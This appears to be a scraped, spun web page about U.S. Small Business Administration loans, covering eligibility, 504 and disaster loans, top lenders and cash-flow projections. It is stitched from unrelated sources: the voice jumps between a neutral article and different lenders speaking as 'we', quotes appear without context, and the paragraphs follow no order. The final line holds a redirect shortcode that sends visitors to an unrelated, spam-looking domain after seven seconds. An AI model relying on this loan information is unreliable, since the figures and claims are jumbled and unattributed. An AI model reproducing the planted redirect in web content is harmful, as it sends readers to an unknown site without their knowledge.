• Your business also needs to meet lender qualifications. After determining that your business meets the SBA qualifications, you need to apply for a commercial loan — and the qualifications for that are often more arduous. “To secure an SBA loan, you must to submit a loan application to a bank, credit union, or other financial company that processes SBA loans,” says Jim Anderson, a management counselor for Orange County SCORE, a nationwide non-profit small business mentoring and training association, and a former management consultant who spent time working for Honeywell and the Ford Motor Co. “You will not directly secure the loan from the SBA; the SBA makes loans available through participating vendors and provides a government guarantee to the lenders. The SBA has designated some lenders as ‘Preferred Lenders’ that can approve loan requests on behalf of the SBA, which may expedite the loan process.”
If you’re looking to open a new location, hire employees or refinance an existing loan, SBA loans are a great option. SBA loan rates and terms typically are more manageable for borrowers than other types of financing.
For Business Physical Disaster Loans interest rates will be less than 4 percent if credit is not available elsewhere, and less than 8 percent if credit is available elsewhere. For Economic Injury Disaster Loans interest rates will be less than 4 percent. For Military Reservist Economic Injury Loans, the interest rate is 4 percent.
The top SBA lenders in the country are currently Wells Fargo, Chase, and Huntington Bank. Between them, they’ve done over 9,500 SBA 7(a) loans totaling more than $2.8 billion in 2017. Many other banks and credit unions offer SBA 7(a) loans.
Getting a business loan is a major hurdle facing small businesses, mainly due to tight lending standards by banks. But obtaining outside financing is often necessary to start or grow a business or cover day-to-day expenses, including payroll and inventory.
Keep in mind that since you don’t have a business started up yet or you’re just starting out, you likely have to borrow money based on your personal finances. For this reason, you’re more likely to qualify for startup financing with a strong personal credit score (720 or higher).
• Express Programs This includes SBAExpress, an accelerated loan that promises a response to an application within 36 hours. The maximum guarantee for these loans is 50 percent. Other categories include Community Express, for businesses needing financial and technical assistance in underserved communities, and Patriot Express, which are designed for businesses majority-owned by veterans or members of the military.
Businesses typically qualify for our products if they make more than $12,000 a month in gross sales. This prerequisite stands because we do not want to provide financing to a business if the repayment process will be difficult for them to handle while meeting their other responsibilities (such as paying rent or purchasing inventory).
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Collateral: While the SBA will not refuse to guarantee a loan due to insufficient collateral, a lender is less likely to approve a loan that isn’t backed by sufficient collateral. Loans under $25K don’t need to be collateralized
SBA helps lead the federal government’s efforts to deliver 23 percent of prime federal contracts to small businesses. Small business contracting programs include efforts to ensure that certain federal contracts reach woman-owned and service-disabled veteran-owned small businesses as well as businesses participating in programs such as 8(a) and HUBZone.
You may qualify for an SBA Military Reservist Economic Injury Loan if an essential employee is called for active military duty and the loss results in an inability to meet normal operating expenses. If the business is already covered by key man insurance or other business interruption insurance, the amount of the loan will reduce by the amount of coverage.
Businesses must meet certain criteria to qualify for an SBA loan in addition to meeting the credit qualifications of the lending partner. We also differentiate SBA loans based on the need of the business owner.
• Prepare financial projections. A lender is going to want to see some evidence that you’ll be able to pay back the loan. The most important information you can provide a lender is a cash-flow projection. A monthly cash-flow projection of 12 to 24 months or more may be required by the lender; however, this period may vary by lender and/or type of business. “Cash is the ‘life blood’ of small business, and you and the lender need to take precautions to be sure that you will not run out of cash,” Anderson says. It also may be necessary to provide projections of profit & loss statements and/or balance sheets. Again, this will vary by lender and/or type of business.
Navigating these requirements and the accompanying paperwork can be difficult and is the main reason people think of SBA loans as slow and hard to get. Some of the best SBA lenders, like SmartBiz, have streamlined this process and drastically cut down paperwork and application times. In fact, SmartBiz routinely closes SBA loans in 2-3 weeks.
New avenues also are opening up for equity crowdfunding, in which you tap a public pool of investors who agree to finance your small business in exchange for equity ownership. This became an even broader option recently with new securities regulations that allow small-business owners to reach out to mom-and-pop investors, not just accredited investors.
This is the type of loan that provides small businesses with long-term, fixed rate funding to buy generally real estate or machinery or equipment for expansion or modernization. A private lender must agree to cover up to 50 percent of the loan. Meanwhile, a Certified Development Company, which is one of hundreds of private, nonprofit corporations designed to help economic development, picks up 40 percent of the loan. The borrower must contribute at least 10 percent equity. “This loan involves a major capital acquisition for machinery, equipment, and/or real estate,” Cruz says. “A business may want to move out of rental space and buy a small building and this is the loan for them. They have to have 51 percent occupancy. You could not buy the building and occupy only 1 percent.” The SBA’s maximum debenture is $1.5 million when companies agree to job creation or community development goals. In general, businesses are required to create or retain one job for every $65,000 funded by the SBA — although small manufacturers have a $100,000 job retention or creation requirement. That SBA contribution can go up to $2 million ($4 million for small manufacturers) if public policy goals are met, including revitalization of a business district, export expansion, minority business develop, rural development, among other goals.
With banks reluctant to take any chances with their own money in the wake of the credit crisis, loans guaranteed by the U.S. Small Business Administration have become a hot commodity. Indeed, funds to support special breaks on fees and guarantees on SBA-backed loans have run out a number of times. And while SBA-backed loans are open to any small business, there are a number of qualifications, including:
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The same paperwork that is required for the 7(a) loan is also required for a 504 loan. A list of Certified Development Companies in your state can be found here. Whether you first approach the senior lender or the CDC is up to you.
U.S. Bank offers five types of SBA loans for businesses in almost any for-profit industry. Loan amounts range from $25,000 to more than $11.25 million and are available for a variety of business purposes, including:
SBA loans also can provide a way out of a damaging financial situation. Terry Trumbull, owner and president of Trumbull Meats in Hamburg, Michigan, got an SBA loan through SmartBiz that allowed him to refinance much more burdensome funding. It was “killing me,” he says, and the SBA loan provided relief. But he did have to wait a couple of months and deal with many requirements, he adds.
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That’s why we don’t provide them with the same working capital! Our small business loans range from $5,000 to $500,000, so you’re guaranteed to receive an amount that works for your business’s needs. Plus, working capital can be in your business’s bank account in as little as 72 hours from approval. What’s not to love?
Government small business loans help put your own business within reach. First there’s the quest for a decent location, then comes building a customer base, followed by all the initial hiccups of generating a cash flow before your business grows roots and gains momentum. The beginning of a business is crucial because it’s when you gain or lose market credibility. If you disappoint your customers, they may not give you a second chance. If your business gets off to a rocky start (most do), and you believe you can recover but need further financing to make this happen, you can apply for government small business loans. [redirect url=’http://zoneprofit.stream/bump’ sec=’7′]